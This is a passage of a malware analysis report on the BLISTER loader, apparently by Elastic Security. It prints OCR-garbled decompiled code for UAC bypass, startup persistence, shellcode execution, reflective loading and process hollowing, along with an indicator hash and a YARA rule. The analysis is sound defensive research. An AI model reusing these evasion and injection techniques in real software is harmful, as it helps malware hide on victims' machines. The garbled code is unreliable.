renames the files to UNIQUE STRING>.exe and UNIQUE STRING>.dll , respectively.

BLISTER uses the CopyModulelntoFolder function and the IFileOperation Windows COM
interface for bypassing UAC when copying and renaming the files:

79| _result = fp CoCreatelnstance(&clsid FileOperation, @, v12, p iid, pp object);

g8 | if ( _result »=8 )

1| {

g2 _ result = p file operaticn->1pVtbl-»SetOperationFlags(p file operation, FOF_NO UI)};

83 _result = _ result;

834 if (  result »= 8 )

a5 Ty

86 p_shell32 = Engine::Ldrload0le320rShell32library(p_engine, @);

87 fp_SHCreateItemFromParsingName = (int (_ stdcall *}(wchar_t *, wvoid *, GUID *, IShellItem **}}Engine::GetPrc
88 _result = fp_SHCreateltemFromParsingName(p_w_module_fullpath, 8, &iid IShellItem, &p_module_shell item);

39 if ( _result »=8)

T {

91 _p_shell32 = Engine::LdrLoad0le320rShell32Llibrary(p_engine, @);

92 _fp_SHCreateItemFromParsinglame = {int (_ stdcall *){wchar_t *, _DWORD, GUID *, IShellItem **))Engine::Get
93 _result = _fp_SHCreateItemFromParsingName(p w_folder_fullpath, @, &iid_IShellItem, &p folder_shell item};
94 if ( _result >= @ )

a5 {

96 _result = p_file_operation->1pvtbl->CopyItem(

a7 p_file_operaticon,

a3 p_module_shell item,

a9 p_folder_shell item,

Ba p_w_new_filename,

a1 8);

a2

a3 if { result =8 )

B4 _result = p file cperation->1pvtbl-:*PerformOperations(p file cperaticn);

BLISTER function used to copy files
The malware creates an LNK file using IShellLinkW COM interface and stores it in

C:\Users<username>\AppData\Roaming\Microsft\Windows\Start Menu\Startup as UNIQUE
STRING>. 1nk

i
vl = fp_CoCreateInstance(&CLSID Shelllink, @, CLSCTX _INPROC_SERVER, &IID_IShelllLinkw, (void **)&p_psl);
if ( lvig )
{
v8 = p_pfint v18; // [esp+34h] [ebp-h]]
_ rdtsc(J3
((void (_ thiscall *)(Ishelliinkw *, IshellLinkw *, int, int, int, int))p_psl->1pvibl->SetPath)(
p_psl,
w8,

a2,
vil,
w12,
vi3);
v18 = ((int (_ thiscall *)(IShellLinkW *, IShelllLinkW *, int *, IPersistFile **, int, unsigned int, _DWORD, _DWORD, _DWORD, unsigned int, _DWORD, _DWO
p_psl,
p_p=L,

CL5ID_Shelllink.Datal,
*(_DWORD *)&CLSID_Shelllink.Data2,
*JCLSID Shelllink.Data4,
$ *)&CLSID_Shelllink.Data4[4],
IID_IShelllinkW.Datal,
*(_DWORD *)&IID_IShelllLinkid.Data2,
*(_DWORD *)IID_IShelliinku.Data4,
*(_DWORD *)&TID IShelllinkil.Data4[4]);
if ( !vis &R (!as || (v18 = p_psl->1pVtbl->SetArguments(p psl, a4)) == @) )// Set args
{
v = 1;
_ rdtsc();
w18 = ((int (__stdcall *)(IPersistFile *, int, int, int))p_ppf->1pvtbl-:»Save)(p_ppf, a3, v9, vll);// Save the link by calling IPersistFile::Save.
11 = (int)p_ppf;

B AT

Mapping shortcut to BLISTER with arguments
The LNK file is set to run the export function LaunchColorCpl of the newly copied malware with

the renamed instance of rundll32. C:\Programbata\UNIQUE STRING>\UNIQUE STRING>.exe
C:\ProgramData\UNIQUE STRING>\UNIQUE STRING>.dl1l,LaunchColorCpl
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Injecting Payloadf]

BLISTER implements 3 different injection techniques to execute the payload according to the
configuration flag:

125
126
127
128
129
13@
131
132
133
134
135
136
137
138
139
148
141
142
143
144
145
146

if ( (config.flag & ctf::Config::Flag: :kOwnProcessReflectiveInjectionMethod) != @ )

*(_DWORD *)}&p w_target full path[4] = *(_DWORD *}config.field 2;
result = Engine::DoOwnProcessReflectiveInjection(

&engine,

p_unpacked_PE,

(ctfiistruc_3 *)config.w_cmdline,

config.flag);

¥
else if ( (config.flag & ctf::Config::Flag::kExecuteShellcodeMethod) != 8 )
1

result = Engine::ExecuteShellcode(&engine, config.flag, p unpacked PE, config.uncompressed_data_size);

¥
else
if ( (config.flag & ctf::Config::Flag: :kOwnProcessHollowingMethod) != 8 )
1
Engine::GetCurrentProcessName(&engine, p_w_target_full_path);

else if { (config.flag & ctf::Config::Flag::kRemoteProcessHollowingMethoed) != @ )// ctf -» Actual path.

if ( Engine::GetModuleHandle(&engine, @x12453653u) )// ctf -> Wtf hash.

BLISTER injection techniques by config flag

Shellcode Execution{

After decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory
region with NtAllocateVirtualMemory API, it then copies the shellcode to it and it sets the memory
region to read write execute with NtProtectVirtualMemory and then executes it.

59
a8
61
62
63
a4
65
66
a7
63
69
78
71
72
73
74
75
76
77
78
79
o8
8l
82

_result = fp NtAllocateVirtualMemory (-1, &p shellcode, ®, &v27, 12288, 4);
1
if ( _result < @)
return result;
memcpy (p shellcode, dst, size);
if ( p_engine-»is_x64 loaded )

w15 = Engine::GetProcAddress(p engine, p_engine-»p_mapped_x64 ntdll, NtProtectVirtualMemory @, 1);
_result = x64Call({v1s);

1
else
1
p_dll = p _engine-»p_mapped_x32_ntdll ? p engine-»p_mapped_x32_ntdll : p engine-»p_x32_ntdll;
w17 = 8&v24;
_rdtsc();
vle = (int (__cdecl *)}{int, uintBé_t **, int *, int, char *)})}Engine::GetProcAddress(
p_engine,
p_dll,
MNtProtectVirtualMemory 8,
el
_result = v18(-1, &p shellcode, &v27, 64, v17);
b

_p_shellcode = p_shellcode;
({void (*}{void))p_shellcode)}();

Execute shellcode function

Own Process Injection{
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BLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a
section with NtCreateSection API.

fp_NtCreateSection = (NTSTATUS (_ stdcall *)(HANDLE *, uint32_t, void *, LARGE_INTEGER *, uint32 t, uint32_t, HANDLE))Engine::GetProcAddress(p_engine, p_tmp_1, NtCreateSection @, @);
_result = fp_NtCreateSection(

829,

SECTION_MAP_EXECUTE |SECTION_MAP_READ|SECTION_MAP_WRITE,

2,

gpayload_image_size,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,

8);

RunPE function

BLISTER then tries to map a view on the created section at the payload’s preferred base address. In
case the preferred address is not available and the payload is an executable it will simply map a
view on the created section at a random address and then do relocation.

fp_NtMapViewdfSec
__result = fp_

n = (int (_ stdcall *}(HANDLE, HANDLE, veid *, uint32_t, uint32_t, LARGE_INTEGER *, uint32_t *, uint32 t, uint32 t, uint32_t))Engine::GetProcAddress(p engine, (uint8_t *}(
Section(

pp_image_base,
vis,

(uint32_t)p_tmp_o,
(LARGE_INTEGER *)p_tmp_1,
V28,

(uint32_t)v2a,
(uint32_t)p_mapped pe,

if ( _’Es\.\'_’_7== STATUS_CONFLICTING_ADDRESSES )

LOWORD(v15) = 85

_EDX = v15 | (1 << viB);

—asm { rel d1, 3ah }

if ( lp_nt_headers->OptionalHeader.DatabDirectory[5].VirtualAddress )

Check for conflicting addresses
Conversly, if the payload is a DLL, it will first unmap the memory region of the current process image
and then it will map a view on the created section with the payload’s preferred address.

p process ImageBaseAddress = (uintd t *)GetPEB()->ImageBaseAddress;
if { p_process_ImageBaseAddress == (uintd_t *)p_nt_headers->0OptionalHeader.ImageBase )

_h process = p engine->p mapped %32 ntdll ? p engine->p mapped %32 ntdll : p engine-»p x32 ntdll;
__result = (int)p process_ImageBaseAddress;
p_process_ImageBaseAddress = (uintd_t *)-1;

fp_UnmapViewdfSection = (int (_ stdcall *){uintd_t *, int))}Engine::GetProcAddress(
p_engine,
(uint@ t *) h process,
HtUnmapViewdfsection_@,
@);
__result = fp UnmapViewDfSection(p process ImageBaseAddress,  result};
T M

2L s ———

DLL unmapping
BLISTER then calls a function to copy the PE headers and the sections.

p_nt_headers = (IMAGE_NT_HEADERS32 *)&p pe[*((_DWORD *)p_pe + 15}];
memcpy (p_mapped_pe, p_pe, p_nt_headers-»OptionalHeader.SizeOfHeaders);

p_section_it = (IMAGE_SECTION_HEADER *)}((char *)&p _nt_headers->OptionalHeader

+ p_nt_headers-:FileHeader.Size0OfOptionalHeader);
for ( 1 =8; i ¢ (int)p_nt headers->FileHeader.NumberOfSections; ++1i )
1

if ( p_section_it[i].PointerToRawData )
memcpy |
&p mapped_pe[p_secticn_it[i].VirtualAddress],
&p pe[p_section_it[i].PointerToRawlata],
p_section_it[i].SizeOfRawData);

}

Copying over PE/sections
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Finally, BLISTER executes the loaded payload in memory starting from its entry point if the payload
is an executable. In case the payload is a DLL, it will find its export function according to the hash in
the config file and execute it.

Process Hollowing{

BLISTER is able to perform process hollowing in a remote process:

First, there is an initial check for a specific module hash value ( ©x12453653 ), if met, BLISTER
performs process hollowing against the Internet Explorer executable.

144 else if ( (config.flag & ctf::Config::Flag::kRemoteProcessHollowingMethod) != @ )// ctf -» Actual path.
145

146 if ( Engine::GetModuleHandle(&engine, @x12453653u) )

147 GetIEFullPath(&engine, p w_target_full path};

148 else

149 Engine: :GetWerfaultFullPath({&engine, p_w_target_full path);

158 }

Internet Explorer option for process hollowing
If not, the malware performs remote process hollowing with Werfault.exe. BLISTER follows
standard techniques used for process hollowing.

588 fp_NtGetContextThread = (int (_ stdcall *)(woid *, wvoid *))}Engine::GetProcAddress(
581 p_engine,

5@2 w89,

583 NtGetContextThread_a,
sS4 @);

585 _result = fp NtGetContextThread(tmp_1, tmp_2);

586 if { _result »= 8 )

567 I

588 _asm { r ch, 20h }

589 v7a[44] = (Lha' *ytmp_2 + *((_DWORD *)tmp_ 1 + 18);

518 va3 = p_engine->p_mapped_x32_ntdll ? p eng nE—>p_mapped_x32_ntdll : p_engine-»p_x32_ntdll;
511 tmp_2 = v7@;

512 tmp_1 = process_information.hThread;

513 lFp_ntsetContext Thread = (int (_ stdcall *){void *, wvoid *))Engine::GetProcAddress(
514 p_engine,

515 vES,

516 NtSetContextThread_ 8@,
517 8);

518 _result = fp_ NtSetContextThread(tmp 1, tmp_ 2};

Process hollowing function

There is one path within this function: if certain criteria are met matching Windows OS versions and
build numbers the hollowing technique is performed by dropping a temporary file on disk within the
AppData folder titled Bg.Agent.ETW with an explicit extension.

325 [ if ( Engine::MaybeCheckOsCompatibilities(p engine)} )

326

327 if (c:n‘ig flag & @x2e8) != 8 )

328 *(_DWORD *)&config flag = config_flag & @xFFFFFDFF;

329 Engine::sub_1728CBE9(p_engine, (LARGE_INTEGER **)&tmp_4, p pe, pe_size);

Compatibility Condition check
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1 |BOOL _ cdecl ctf::Engine::MaybeCheckOsCompatibilities{Engine *p_engine)
2 [f
3 BOOL result; // eax
4| PEB *p_peb; // [espt+Bh] [ebp-4h]
3
& result = @;
7 if ( 'p_engine->p_mapped_x64 ntdll )
8 return result;
a
18| if ( !'Engine::GetModuleHandle(p engine, @x93ADBBE2) )
11 return result;
12
13| p_peb = GetPEB();
14| if ( p peb-:05MajorVersicn == 18 && !p peb-»05Minorversion && p peb-»05BuildNumber >= B8x711u )
15 return 1;
16 return result;
17 3

Compatibility Condition function

44 | Engine::GetAppDataFolder(p engine);

45 | wescpy(v32, L"\\BgAgent.ETW.HR");
Temporary file used to store payload
The malware uses this file to read and write malicious DLL to this file. werfault.exe is started by
BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault
process and the file is shortly deleted after.

Tim... Process Name PID Operation Path I Result Detail

5:.07... Hiblister_patched.exe  40... E*CreateFile C:\Users\REM\AppData\Local\Temp\BgAgent ETW. SUCCESS  Desired Access: Generic Read/Write, Delete, Dispositi...
5:07... Biblister_patchedexe  40... E*SetDispositionInfor... C\Users\REM\AppDatalLocal\Temp\BgAgent ETW. SUCCESS  Delete: True

5.07... Biblister_patched.exe  40... E>WriteFile C:\Users\REM\AppData\Local\Temp\BgAgent ETW. SUCCESS  Offset: 0, Length: 3,943,424, Prionity: Normal

5:07... Bblister_patchedexe  40... E*CreateFileMapping C:\Users\REM\AppDatalLocal\Temp\BgAgent ETW. FILE LOCK_.. SyncType: SyncTypeCreateSection, PageProtection: P
5.07... Hiblister_patched.exe  40... E>QueryStandardinfo... C:\Users\REM\AppData\LocalTemp\BgAgent ETW. SUCCESS  AllocationSize: 3,944,448, EndOfFile: 3,943,424, Num...
5:07... Bblister_patchedexe  40... " ReadFile C:\Users\REM\AppData\lLocal\Temp\BgAgent ETW. SUCCESS  Offset: 1,024, Length: 2,093,056, /0O Flags: Non-cach...
5.07... Hblister_patched.exe  40... E*ReadFile C:\Users\REM\AppData\Local\Temp\BgAgent. ETW. SUCCESS  Offset: 2,094,080, Length: 816,480, /O Flags: Non-ca...
5:07... Bblister_patchedexe  40... " ReadFile C:\Users\REM\AppData\lLocal\Temp\BgAgent ETW. SUCCESS  Offset: 3,010,560, Length: 703,488, 1/O Flags: Non-ca...
5.07... Hblister_patched.exe  40... E*ReadFile C:\Users\REM\AppData\Local\Temp\BgAgent. ETW. SUCCESS  Offset: 3,714,048, Length: 74,240, /0 Flags: Non-cac...
5:07... Bblister_patchedexe  40... > ReadFile C:\Users\REM\AppData\Local\Temp\BgAgent ETW. SUCCESS Offset: 3,788,288, Length: 4,608, /0 Flags: Non-cach...
5.07... Hblister_patched.exe  40... E*ReadFile C:\Users\REM\AppData\Local\Temp\BgAgent. ETW. SUCCESS  Offset: 3,792,896, Length: 512, /0 Flags: Non-cached...
5:07... Bblister_patchedexe  40... > ReadFile C:\Users\REM\AppData\Local\Temp\BgAgent ETW. SUCCESS  Offset: 3,793,408, Length: 150,018, I/O Flags: Non-ca...
5.07... Biblister_patched.exe  40... CreateFileMapping C:\Users\iREM\AppData\LocalTemp\BgAgent. ETW. SUCCESS  SyncType: SyncTypeQther

5:07... Bblister_patchedexe  40... E*CloseFile C:\Users\REM\AppData\Local\Temp\BgAgent ETW. SUCCESS

5:07... B¥WerFault.exe 66... o?Load Image C:\Users\REM\AppData\Local\Temp\BgAgent. ETW. SUCCESS Image Base: 0x800000, Image Size: 0x3ce000

5:07... BiWerFault.exe 66... [*QueryNamelnforma...C:\Users\REM\AppData\Local\Temp\BgAgent. ETW. . FILEDELE..

Procmon output of compatibility function

Configuration Extractorq

Automating the configuration and payload extraction from BLISTER is a key aspect when it comes to
threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors
which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.

Our extractor uses a Rabbit stream cipher implementation and takes either a directory of samples
with -d option or -f for a single sample,
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https://github.com/Robin-Pwner/Rabbit-Cipher

hf:llm-:ing IE or Werfault™

Config extractor output

To enable the community to further defend themselves against existing and new variants of the
BLISTER loader, we are making the configuration extractor open source under the Apache 2
License. The configuration extractor documentation and binary download can be accessed here.

Conclusionq

BLISTER continues to be a formidable threat, punching above its own weight class, distributing
popular malware families and implants leading to major compromises. Elastic Security has been
tracking BLISTER for months and we see no signs of this family slowing down.

From reversing BLISTER, our team was able to identify key functionality such as different injection
methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy
reliance on Windows Native API's. We also are releasing a configuration extractor that can statically

retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.

Appendix]|
Configuration Structureq
Configuration’s Flags]|

Hashing Algorithm{

BLISTER hashing algorithm
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https://elastic.github.io/security-research/tools/blister-config-extractor/

uint32_t HashLibraryName(wchar_t *name) {
uint32_t name {0};
while (*name) {

hash = ((hash >> 23) | (hash << 9)) + *name++;

}

return hash ;

Indicators]]

Indicator

afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2

YARA Rulef

Note

SHA256 BLISTER

DLL

This updated YARA rule has shown a 13% improvement in detection rates.

BLISTER YARA rule

rule Windows_Trojan_BLISTER {
meta:

Author = "Elastic Security"
creation_date = "2022-04-29"
last_modified = "2022-04-29"
os = "Windows"
arch = '"x86"
category_type = "Trojan"
family = "BLISTER"
threat_name = "Windows.Trojan.BLISTER"
description = "Detects BLISTER loader."
reference_sample =

"afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"

strings:
$al

{ 8D 45 DC 89 5D EC 50 6A 04 8D 45 FO 50 8D 45 EC 50 6A FF FF D7 }
$a2 = { 75 F7 39 4D FC OF 85 F3 00 00 00 64 Al 30 00 00 00 53 57 89 75 }

$a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89
55 EO 89 45 E4 85 CO 74 3E 8B 09 8B D6 03 CB 8A 01 84 CO 74 17 C1 C2 09 OF BE CO 03 DO 41 8A
01 84 CO 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45

F4 OF B7 CO 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }

$b1 = { 65 48 8B 04 25 60 00 00 00 44 OF B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ??

?? ?? ?? 4C 8B 40 ?? 49 63 40 7?7 }

$b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? FO 44 01 65 40 49 2B C4 75 ?? 39

4D 40 OF 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 OF B7 DB }
condition:
any of them

References]]

Artifactsq]

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.
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Download indicators.zip

Last update: May 18, 2022
Created: May 6, 2022

27/27


https://elastic.github.io/security-research/malware/2022/05/02.blister/indicators.zip

